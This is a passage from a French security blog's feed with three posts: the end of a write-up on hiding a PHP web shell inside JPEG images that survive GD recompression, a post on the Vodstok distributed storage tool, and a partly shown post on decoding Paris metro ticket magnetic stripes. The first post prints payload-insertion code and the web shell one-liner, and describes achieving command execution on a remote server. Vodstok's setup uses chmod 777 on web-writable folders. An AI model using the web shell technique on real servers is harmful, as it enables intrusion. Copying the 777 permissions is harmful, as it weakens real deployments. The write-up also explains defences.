    &lt;span class="n"&gt;sos_size&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;struct&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;unpack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;gt;H&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;img&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;sos&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;sos&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;])[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="n"&gt;sod&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;sos_size&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;
    &lt;span class="c1"&gt;# look for &amp;#39;FF D9&amp;#39; (EOI)&lt;/span&gt;
    &lt;span class="n"&gt;eoi&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;img&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;sod&lt;/span&gt;&lt;span class="p"&gt;:]&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;index&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\xFF\xD9&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="c1"&gt;# enough size ?&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;eoi&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;sod&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;off&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
            &lt;span class="n"&gt;_out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;img&lt;/span&gt;&lt;span class="p"&gt;[:&lt;/span&gt;&lt;span class="n"&gt;sod&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;sos&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;off&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;img&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;sod&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;sos&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;off&lt;/span&gt;&lt;span class="p"&gt;:])&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;True&lt;/span&gt;
    &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;False&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Pour tester les images générées, j'ai installé les &lt;em&gt;bindings&lt;/em&gt; Python de la bibliothèque GD, sous debian le package nommé &lt;em&gt;python-gd&lt;/em&gt;. Ces bindings permettent de simuler à l'aide de Python l'ensemble des traitements effectués par la bibliothèque GD, et en particulier de reproduire ce qu'il se passe sur le serveur cible à savoir l'ouverture puis l'écriture sur disque de l'image uploadée.&lt;/p&gt;
&lt;p&gt;Un point est cependant capital à prendre en compte: la qualité de l'image. GD permet de définir une qualité (tout comme plein d'autres logiciels d'infographie, comme GIMP par exemple) afin d'ajuster la taille du fichier sur disque. Plus la qualité est bonne (proche ou égale à 100), plus le fichier sera gros et l'image nette, et &lt;em&gt;a contrario&lt;/em&gt; plus celle-ci est faible plus le fichier sera petit et l'image dégradée. Ce facteur de qualité est très important: il faut utiliser exactement le même facteur lors de la génération de l'image &lt;em&gt;bulletproof&lt;/em&gt; afin d'être sûr que le serveur distant va bien générer notre payload lors de l'écriture sur disque. La fuite d'information découverte précédemment va sûrement vous être utile afin de déterminer la qualité employée =).&lt;/p&gt;
&lt;p&gt;J'ai automatisé la génération des images &lt;em&gt;bulletproof&lt;/em&gt; à l'aide d'un script Python (encore un), et j'ai ainsi pu générer des images contenant le code PHP (ou équivalent) suivant pour les facteurs de qualité de 52 à 98:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt; &lt;span class="nb"&gt;system&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;c&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt; &lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Certes, quelques variantes ont du être employées pour assurer une insertion maximale, mais le résultat est plutôt intéressant. De plus, mon script essaie d'insérer le payload à différents endroits, pas forcément au début de la section (vous vous rappelez de l'offset dans la fonction d'insertion ?), car les phases de décompression/compression rendent le résultat un poil aléatoire. Ainsi, voici à quoi ressemble une image avant traitement par la bibliothèque GD (côté serveur), image contenant notre payload PHP (pour la qualité par défaut):&lt;/p&gt;
&lt;img alt="" src="/images/exploit-gd.png" /&gt;
&lt;p&gt;En regardant en détail le contenu de l'image, on peut apercevoir le payload PHP:&lt;/p&gt;
&lt;img alt="" src="/images/hex-payload.png" /&gt;
&lt;p&gt;&lt;strong&gt;Fin mot de l'histoire&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Avec cette image JPEG, j'ai pu facilement contourner la restriction imposée via la bibliothèque GD et forcer celle-ci à écrire elle-même une image contenant un code PHP malveillant, qui m'a permis d'exécuter des commandes systèmes sur le serveur distant à l'aide de la vulnérabilité d'inclusion de fichier local trouvée auparavant.&lt;/p&gt;
&lt;p&gt;Pour vous éviter de générer tout vous-même, je vous ai préparé une petite archive contenant mon code python ayant servi à la génération de toutes les images &lt;em&gt;bulletproof&lt;/em&gt;, ainsi que les images elles-même (32x32 pixels). Si avec ça je ne vous gâte pas pour Pâques, je ne comprends pas ...&lt;/p&gt;
&lt;p&gt;Pour terminer sur une note sécuritaire, lorsque vous autorisez l'upload d'images au format JPEG (mais ceci est d'ailleurs vrai avec d'autres formats comme BMP ou PNG, une attaque identique pouvant être réalisée) prenez plusieurs précautions:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;stockez vos images dans un dossier situé en dehors de la racine du serveur web&lt;/li&gt;
&lt;li&gt;activez la restriction d'&lt;em&gt;open_basedir&lt;/em&gt;, et restreignez au moins à votre dossier racine (/var/www/ par exemple)&lt;/li&gt;
&lt;li&gt;codez un script PHP permettant la récupération des images uploadées, en prenant les précautions habituelles (pas de paramètres utilisés dans les chemins, etc ...)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;em&gt;version de GD employée: 2.0.36rc1&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;version de Python employée: 2.7&lt;/em&gt;&lt;/p&gt;
</content><category term="Sécu"/></entry><entry><title>Vodstok, un outil de partage volontaire</title><link href="https://virtualabs.fr/projets/Vodstok-un-outil-de-partage" rel="alternate"/><published>2012-03-19T22:00:14+01:00</published><updated>2012-03-19T22:00:14+01:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2012-03-19:/projets/Vodstok-un-outil-de-partage</id><summary type="html">&lt;p&gt;Durant le meeting du mois de Janvier, j'avais présenté un de mes outils nommé Vodstok (pour Voluntary Distributed Storage Kit), mais il n'était pas finalisé. J'ai pris un peu de temps parmi le peu disponible pour tenter de finaliser le code et pouvoir le mettre à disposition de tous. Cet …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Durant le meeting du mois de Janvier, j'avais présenté un de mes outils nommé Vodstok (pour Voluntary Distributed Storage Kit), mais il n'était pas finalisé. J'ai pris un peu de temps parmi le peu disponible pour tenter de finaliser le code et pouvoir le mettre à disposition de tous. Cet outil permet à tout un chacun de pouvoir uploader et télécharger des fichier stockés sur Internet, dans un nuage de serveurs de stockage mis à disposition par des volontaires.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Stockage distribué volontaire&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Des personnes utilisant Vodstok l'installent sur leurs serveurs web (aucune base de données requise, compatible PHP4/5) et décident ainsi de partager une portion de leur espace de stockage aux utilisateurs de Vodstok. Chaque propriétaire de serveur peut ainsi s'ajouter à un réseau maillé de serveurs, et l'ensemble constitue une plate-forme de stockage distribué accessible en HTTP.&lt;/p&gt;
&lt;p&gt;La force de ce système est d'une part sa résistance aux coupures: si un serveur tombe, le système est toujours fonctionnel, bien que les données du serveur perdu soient considérées comme perdues (Vodstok n'assure pas de redondance actuellement). Mais il est toujours possible de s'en servir, et en comptant sur l'effet Streisand, cela devrait &lt;em&gt;a priori&lt;/em&gt; favoriser ce système. D'autre part, Vodstok se base sur le protocole HTTP, qui est universel et permet même de passer au travers de proxies, ce qui évite d'avoir une configuration de ports particulière, comme c'est le cas avec BitTorrent par exemple.&lt;/p&gt;
&lt;p&gt;Vodstok intègre un client en ligne de commande écrit en Python, qui permet d'assurer un stockage sécurisé (AES256) et une répartition d'un fichier sur l'ensemble des serveurs. Bien sûr ce client peut être modifié et les usages dérivés sont nombreux, la seule limite reste votre imagination. Pour faire simple, un serveur sur lequel vodstok est déployé fait office de système de stockage seul, il n'y a pas d'autre logique particulière. On peut le considérer comme un &amp;quot;bout de disque dur&amp;quot; qui ne regarde pas ce qui y est stocké ni comment s'en servent les utilisateurs.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Comment partager une partie de son espace de stockage web avec Vodstok&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;En premier lieu, il faut récupérer l'archive de Vodstok sur &lt;a class="reference external" href="http://virtualabs.fr/vodstok/"&gt;la page du projet&lt;/a&gt;, et copier le contenu du dossier &lt;em&gt;www&lt;/em&gt; sur le serveur distant. Une rapide modification du fichier de configuration &lt;em&gt;config.inc.php&lt;/em&gt; permet de paramétrer le bouzin:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class="nb"&gt;define&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;QUOTA_MB&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1024&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="cm"&gt;/* Je décide de partager 1Go d&amp;#39;espace disque */&lt;/span&gt;
&lt;span class="nb"&gt;define&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;MAX_ENDPOINTS&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;1500&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nb"&gt;define&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;MAX_ENDPOINT_LEN&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="cm"&gt;/*&lt;/span&gt;
&lt;span class="cm"&gt;DO NOT MODIFY OR REMOVE THE FOLLOWING LINES&lt;/span&gt;
&lt;span class="cm"&gt;*/&lt;/span&gt;

&lt;span class="nb"&gt;define&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;QUOTA&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;QUOTA_MB&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;1024&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;1024&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nb"&gt;define&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;CHUNK_DIR&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;chunks&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nb"&gt;define&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;ENDPOINT_DIR&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;endpoints&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;On &lt;em&gt;chmod 777&lt;/em&gt; les dossiers &lt;em&gt;chunks&lt;/em&gt; et &lt;em&gt;endpoints&lt;/em&gt;, et c'est tout, Vodstok est paré à fonctionner côté serveur. Reste à voir comment s'en servir côté client.&lt;/p&gt;
&lt;p&gt;Pour le client, rien de bien compliqué: le dossier client contient le code source de l'outil, qui est pour l'instant seulement en ligne de commande. On le copie dans un dossier accessible à l'utilisateur, et on peut le lancer:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
# chmod +x /opt/vodstok-1.2 &amp;amp;&amp;amp; cd /usr/bin/local &amp;amp;&amp;amp; ln -s /opt/vodstok-1.2/vodstok vodstok
$ vodstok
Usage: vodstok [options] [VDS URL]

Options:
  -h, --help            show this help message and exit
  -l, --list-endpoints  List saved endpoints
  -a ENDPOINT, --add-endpoint=ENDPOINT
                        Add an existing endpoint
  -r ENDPOINT, --del-endpoint=ENDPOINT
                        Remove an existing endpoint
  -p ENDPOINT, --publish=ENDPOINT
                        Publish an existing endpoint
  -w DIRECTORY, --write=DIRECTORY
                        Set destination directory
  -s, --size            Displays distributed storage capacity
  -v, --version         Show version
  -u, --update          Update endpoints
&lt;/pre&gt;
&lt;p&gt;Première étape, ajouter le point de stockage web nouvellement créé, ainsi que d'autres déjà existant:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
$ vodstok -a http://www.monserveur.com/vodstok/
$ vodstok -a http://virtualabs.fr/vodstok/
$ vodstok -a http://www.depotware-network.net/vodstock/
$ vodstok -a http://vodstok.zengeek.org/
&lt;/pre&gt;
&lt;p&gt;Lors de chaque ajout de point de stockage (ou &lt;em&gt;endpoint&lt;/em&gt;), vodstok vérifie que celui-ci est bien fonctionnel.&lt;/p&gt;
&lt;p&gt;Seconde étape, publier votre point de stockage:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
$ vodstok -p http://www.monserveur.com/vodstok/
&lt;/pre&gt;
&lt;p&gt;Etape ultime, récupérer de nouveaux points de stockage grâce à la fonctionnalité de mise-à-jour intégrée:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
$ vodstok -u
&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Comment échanger des fichiers grâce à Vodstok&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Pour échanger des fichiers, vous n'avez pas obligatoirement besoin d'installer un point de partage (mais ça serait quand même 'achement bien, pour la bonne santé et l'espace de stockage du système). Il est tout de même conseillé d'ajouter au moins un point de stockage existant, et de mettre à jour la liste des points de stockage:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
$ vodstok -a http://virtualabs.fr/vodstok/
$ vodstok -u
&lt;/pre&gt;
&lt;p&gt;Une fois cela fait, il est alors très facile d'uploader un fichier sur le réseau vodstok:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
$ vodstok britney-spears-chante-sous-la-douche.mp3
[+] Uploading ... 100.00%
[i] File successfully uploaded.
Share this link: vds://054B22B4D64746A94CCE72AB410516C7&amp;#64;www.depotware-network.net/vodstock/#5e23d232a24a332d3e64f02d9b9c9350
&lt;/pre&gt;
&lt;p&gt;Et c'est identique pour le téléchargement:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
$ vodstok vds://9AAFC5E52E29E833D969399E9EEF3D0F&amp;#64;virtualabs.fr/vodstok/#6edc5a91f3c29190229822f0119f9745
[+] Retrieving file summary
[+] Starting file download
[+] Downloading ... 100.00%
[i] File saved as britney-spears-chante-sous-la-douche.mp3
&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Source et contribution&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;J'ai mis le projet sur &lt;strong&gt;[GITHUB]&lt;/strong&gt;, et monté un repository Vodstok sur mon hébergement. N'hésitez pas à tester, jeter un oeil, et si vous pensez pouvoir apporter votre brique, à modifier le code et proposer vos améliorations.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Conclusion&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Le projet vodstok est actuellement viable, mais toujours en phase beta. Je suis en train d'essayer d'améliorer le système et de faire en sorte que celui-ci soit fiable et efficace. Essayez-le, installez des points de stockage, et faites moi vos retours d'expérience par email (virtualabs -at- gmail -dot- com) ou directement via twitter !&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;`GITHUB]&lt;/strong&gt; [&lt;a class="reference external" href="https://github.com/virtualabs/Vodstok"&gt;https://github.com/virtualabs/Vodstok&lt;/a&gt; &amp;lt;&lt;a class="reference external" href="https://github.com/virtualabs/Vodstok"&gt;https://github.com/virtualabs/Vodstok&lt;/a&gt;&amp;gt;`_
&lt;strong&gt;`HOMEPAGE]&lt;/strong&gt; [&lt;a class="reference external" href="http://virtualabs.fr/vodstok/"&gt;http://virtualabs.fr/vodstok/&lt;/a&gt; &amp;lt;&lt;a class="reference external" href="http://virtualabs.fr/vodstok/"&gt;http://virtualabs.fr/vodstok/&lt;/a&gt;&amp;gt;`_&lt;/p&gt;
</content><category term="Projets"/></entry><entry><title>La face cachée des tickets RATP</title><link href="https://virtualabs.fr/secu/La-face-cachee-des-tickets-RATP" rel="alternate"/><published>2012-02-24T22:41:34+01:00</published><updated>2012-02-24T22:41:34+01:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2012-02-24:/secu/La-face-cachee-des-tickets-RATP</id><summary type="html">&lt;p&gt;Grand utilisateur de tickets de métro (émis par le STIF/RATP), je me suis posé la question un jour (oui, j'ai de ces idées pourries des fois) de savoir comment sont codées les informations sur ce support magnétique. L'idée m'a semblé intéressante à creuser, mais nécessitait un brin de bidouille …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Grand utilisateur de tickets de métro (émis par le STIF/RATP), je me suis posé la question un jour (oui, j'ai de ces idées pourries des fois) de savoir comment sont codées les informations sur ce support magnétique. L'idée m'a semblé intéressante à creuser, mais nécessitait un brin de bidouille électronique. L'occasion de tester mon nouveau fer à souder reçu à Noël, et de découvrir l'univers des bandes magnétiques et plus particulièrement celui des tickets de la RATP.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Les bandes magnétiques&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;J'ai fureté pendant des heures sur Internet, à la recherche de documentation sur la lecture des bandes magnétiques, ainsi que sur les normes de codage employées. J'ai déniché quelques papiers intéressants:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;[Explication de la sécurité des bandes magnétiques par K1wy sur Zenk-Security-&amp;gt;http://blog.zenk-security.com/index.php/2011/06/10/securite-des-cartes-a-bande-magnetique/] &lt;strong&gt;[1]&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="reference external" href="http://events.ccc.de/congress/2005/fahrplan/attachments/593-paper_MagneticStripeTechnology.pdf"&gt;White paper du CCC sur la lecture des cartes magnétiques à la roots&lt;/a&gt; &lt;strong&gt;[2]&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="reference external" href="http://www.cyberd.co.uk/support/technotes/isocards.htm"&gt;Normes ISO 7810, 7811 et 7813&lt;/a&gt; &lt;strong&gt;[3]&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="reference external" href="http://cardhack.free.fr/Prive/Patrick%20Gueulle%20-%20Cartes%20Magnetiques%20et%20PC%20-%20Chapitre%201.pdf"&gt;Carte magnétique et PC, de Patrick Gueule&lt;/a&gt; &lt;strong&gt;[4]&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Ces trois ressources sont très intéressantes, le white paper du CCC étant celle qui m'a apporté le plus. J'en ai discuté au boulot avec Tixlegeek, et il m'a lui aussi soumis l'idée d'utiliser la carte son de mon ordinateur portable pour échantillonner les données stockées sur le ticket (à l'instar de ce qui est documenté dans le papier de Joseph Battaglia). Il s'agit là d'un hack archi-simple, vu qu'il suffit de trouver une tête de lecture d'un vieux lecteur cassette et de la souder sur un jack 3.5 puis de le brancher dans la prise micro. La carte son fera le reste.&lt;/p&gt;
&lt;p&gt;En ce qui concerne le codage des données sur bande, celui-ci peut se faire de deux manières:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;soit on code en amplitude (AM, Amplitude Modulation)&lt;/li&gt;
&lt;li&gt;soit on code en fréquence (FM, Frequency Modulation)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;La première méthode est celle employée pour stocker des données audio, mais est peu robuste. La seconde permet de stocker de manière plus robuste, et indépendamment de la vitesse de lecture ou d'écriture, des données binaires. C'est celle qui est préférée dans la grande majorité des systèmes de stockage numériques sur bande.&lt;/p&gt;
&lt;p&gt;Le codage de fréquence le plus classique a un joli surnom: F2F. Ou plus généralement connu sous le nom de &lt;em&gt;Aiken Biphase&lt;/em&gt;. L'idée est de coder le 0 avec un signal de fréquence F, et le 1 avec un signal de fréquence 2F. L'avantage de ce codage, c'est que peu importe la vitesse de lecture (qui est variable selon les périphériques), le décodage reste fiable. Bon par contre ça complique un brin la phase de décodage. Patrick Gueulle explique très bien cela dans son livre &amp;quot;Carte magnétique et PC&amp;quot;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Traitement du signal&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Le papier du CCC &lt;strong&gt;[2]&lt;/strong&gt; présente deux programmes (nommés DAB et DMBS) visant à respectivement décoder le codage Aiken Biphase (F2F) et à extraire les données selon les normes ISO781X. Ces mêmes programmes ont été utilisés par K1wy dans &lt;strong&gt;[1]&lt;/strong&gt;. Le souci c'est que ceux-ci ont été principalement conçus pour les cartes magnétiques rigides à trois pistes, pas forcément pour les tickets de métro. De plus, selon les réglages audio de l'ordinateur servant à la capture (Mic-Boost notamment). Il me fallait une solution plus malléable, car ces deux programmes sont écrits en C et pas forcément bien documentés.&lt;/p&gt;
&lt;p&gt;J'ai trouvé plusieurs modules python permettant de réaliser la capture d'un signal sur l'entrée micro et le traitement de celui-ci:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;alsaaudio (capture du signal)&lt;/li&gt;
&lt;li&gt;audioop (traitement du signal)&lt;/li&gt;
&lt;li&gt;wave (support de fichier wave)&lt;/li&gt;
&lt;li&gt;numpy&lt;/li&gt;
&lt;li&gt;pylab&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;A l'aide de ces modules, j'ai réalisé quelques scripts de capture de signal et de sauvegarde des données sous format PCM et WAV. l'avantage de pouvoir sauvegarder les captures audio est double: on peut facilement refaire des analyses et surtout on peut les lire avec des outils comme Audacity. J'ai donc réalisé un script de capture du signal, et un script de traitement visant à traiter le signal afin de mettre en évidence le codage fréquentiel.&lt;/p&gt;
&lt;p&gt;J'ai réalisé les tests de capture à l'aide d'un micro, et utilisé pylab pour afficher l'allure du signal. Pour le coup, c'était assez efficace:&lt;/p&gt;
&lt;img alt="" src="/images/exemple-capture-signal.png" /&gt;
&lt;p&gt;Il m'a fallut ensuite réaliser mon lecteur de bande magnétique à la manière du CCC, à l'aide d'un vieux lecteur de cassette audio, d'un fer à souder, d'un jack 3.5 et d'un cable IDE =). J'ai du sacrifier mon super lecteur CD/K7 de mes 18 ans (de toute façon je n'ai plus de K7), mais c'est pas grave.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Fabrication du lecteur de bande magnétique maison&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Premièrement, j'ai démonté le lecteur pour pouvoir accéder à la partie électro-mécanique au niveau du lecteur de K7:&lt;/p&gt;
&lt;img alt="" src="/images/demontage-1.jpg" /&gt;
&lt;img alt="" src="/images/demontage-2.jpg" /&gt;
&lt;img alt="" src="/images/demontage-3.jpg" /&gt;
&lt;img alt="" src="/images/tetes.jpg" /&gt;
&lt;p&gt;Une fois les têtes de lecture et d'écriture démontées, j'ai pu souder la tête de lecture (stéréo, mais on s'en moque) sur le jack 3,5mm. Bon la méthode de connection étant pas trop documentée, j'ai un peu galéré mais j'y suis arrivé. Pour information, si vous essayez de refaire le montage chez vous et que vous employez un jack 3,5mm stéréo, faites très attention au contact central: il délivre du 5V (cette tension est utile pour les microphones de type Electret). Pour ma part j'ai pas gazé car j'aurais du relier la sortie de la seconde bobine de lecture à la première, pour cumuler les tensions de sortie, alors que dans mon montage je l'ai mise à la masse (donc je n'utilise qu'une seule des deux bobines de lecture).&lt;/p&gt;
&lt;img alt="" src="/images/soudure-and-co.jpg" /&gt;
&lt;p&gt;J'ai utilisé trois fils couplés d'un cable IDE, de manière à avoir de quoi manipuler la tête de lecture et l'éloigner de l'ordinateur portable (pour limiter les interférences). Bon au final ça n'a pas tellement aidé, le cable IDE faisant une merveilleuse antenne. Une meilleure solution serait d'utiliser un cable blindé à trois brins dont le blindage est mis à la masse. Une fois celui-ci connecté à mon ordinateur portable, j'ai pu balayer un ticket de métro et capturer avec mon précédent script le signal issu de la tête de lecture (signal brut).&lt;/p&gt;
&lt;img alt="" src="/images/lecteur-plugged.jpg" /&gt;
&lt;p&gt;&lt;strong&gt;Décodage du signal et analyse&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;A l'aide de ce lecteur de bande magnétique fait maison et de mes quelques scripts, j'ai codé un second script permettant de mettre en évidence les données codées sur la bande magnétique, et ça n'a pas été une paire de manche. J'ai réalisé trois décodages pour la forme:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;un ticket de métro validé en gare de Saint Lazare&lt;/li&gt;
&lt;li&gt;un autre ticket de métro validé en gare de Saint Lazare&lt;/li&gt;
&lt;li&gt;un ticket de métro neuf, issu d'un carnet&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Et voilà les données codées (Aiken Biphase, ou F2F) extraites des captures de signaux:&lt;/p&gt;
&lt;img alt="" src="/images/decodage-ticket-neuf-cropped.png" /&gt;
&lt;img alt="" src="/images/decodage-ticket-metro-st-lazare-cropped.png" /&gt;
&lt;img alt="" src="/images/decodage-ticket-stlazare2-cropped.png" /&gt;
&lt;p&gt;Le premier est issu d'un ticket neuf, et les deux suivants de deux tickets &lt;em&gt;a priori&lt;/em&gt; validés à Saint Lazare (Paris). Il est flagrant de voir qu'un motif général est présent, motif que l'on retrouve en partie dans le ticket de métro neuf. Chose intrigante, le ticket de métro neuf possède moins d'information que les tickets compostés. J'en déduis donc que des données sont ajoutées lors de la validation, et qu'un ticket de métro neuf est codé d'une manière particulière.Si vous regardez bien, il y a de légères variations de période, mais cela est dû au fait que je scanne manuellement, et ma vitesse de balayage n'est pas constante.&lt;/p&gt;
&lt;p&gt;J'ai donc entrepris de décoder les premiers bits significatifs communs aux trois tickets, et voici ce qui en ressort:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
Ticket neuf:
11111111 00100 11111 11111 11111 0

Ticket #1:
11111111 00100 11111 00110 01001 0

Ticket #2:
11111111 00100 11111 00110 01110 1
&lt;/pre&gt;
&lt;p&gt;Les espaces sont de mon fait ;). J'ai pu déduire le rôle de chacun (ou du moins tenter de deviner) à partir des informations décodées:&lt;/p&gt;
&lt;ul class="simple"&gt;
